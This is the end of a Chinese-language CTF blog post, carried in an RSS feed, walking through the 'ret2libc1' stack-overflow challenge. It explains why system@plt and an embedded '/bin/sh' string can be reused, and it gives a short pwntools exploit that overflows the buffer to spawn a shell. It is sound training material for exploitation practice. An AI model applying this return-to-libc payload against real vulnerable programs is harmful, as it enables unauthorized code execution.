  class="zoomable"
  loading="lazy"
  decoding="async" width="562" height="185"
/>
</p>
<p><img
  src="/6f76a6/2_29.webp"
  alt="stack"
  class="zoomable"
  loading="lazy"
  decoding="async" width="798" height="608"
/>
</p>
<p><img
  src="/6f76a6/2_30.webp"
  alt="secure"
  class="zoomable"
  loading="lazy"
  decoding="async" width="415" height="268"
/>
</p>
<p>这道题是最简单的ret2libc题，它预先准备了<code>secure</code>函数，这个函数没有实际意义，但是这个函数调用了<code>system</code>函数，这也就意味着可以直接从plt表里获取system函数的真实地址。而且这题的<code>\bin\sh</code>也给了，IDA可以直接看，也可以用pwntools里相应方法获取。</p>
<p>exp：</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln">1</span><span class="cl"><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
</span></span><span class="line"><span class="ln">2</span><span class="cl"><span class="n">io</span><span class="o">=</span><span class="n">process</span><span class="p">(</span><span class="s2">&#34;./ret2libc1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">3</span><span class="cl"><span class="n">elf</span><span class="o">=</span><span class="n">ELF</span><span class="p">(</span><span class="s2">&#34;./ret2libc1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">4</span><span class="cl"><span class="n">system_plt</span><span class="o">=</span><span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="p">[</span><span class="s2">&#34;system&#34;</span><span class="p">]</span>
</span></span><span class="line"><span class="ln">5</span><span class="cl"><span class="n">binsh_addr</span><span class="o">=</span><span class="nb">next</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">search</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;/bin/sh&#34;</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">6</span><span class="cl"><span class="n">payload</span><span class="o">=</span><span class="n">flat</span><span class="p">([</span><span class="sa">b</span><span class="s1">&#39;A&#39;</span><span class="o">*</span><span class="mi">112</span><span class="p">,</span><span class="n">system_plt</span><span class="p">,</span><span class="s2">&#34;AAAA&#34;</span><span class="p">,</span><span class="n">binsh_addr</span><span class="p">])</span>
</span></span><span class="line"><span class="ln">7</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">sendline</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">8</span><span class="cl"><span class="n">io</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">python</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button></div>
<p>exp有个地方实操时一直无法获取plt的system，警告说是unicorn模块有问题，我安装了也不成，好像是安装方法有问题，后来更新了pwntools，它自动补全了好多包，然后exp就通了。</p>
]]></content:encoded><h:img src="https://h4cker.zip/6f76a6/Pwn%21Pwn%21Pwn%21.webp"/><enclosure url="https://h4cker.zip/6f76a6/Pwn%21Pwn%21Pwn%21.webp"/><category>Pwn</category><category>ret2syscall</category><category>ret2libc</category><category>栈溢出</category></item></channel></rss>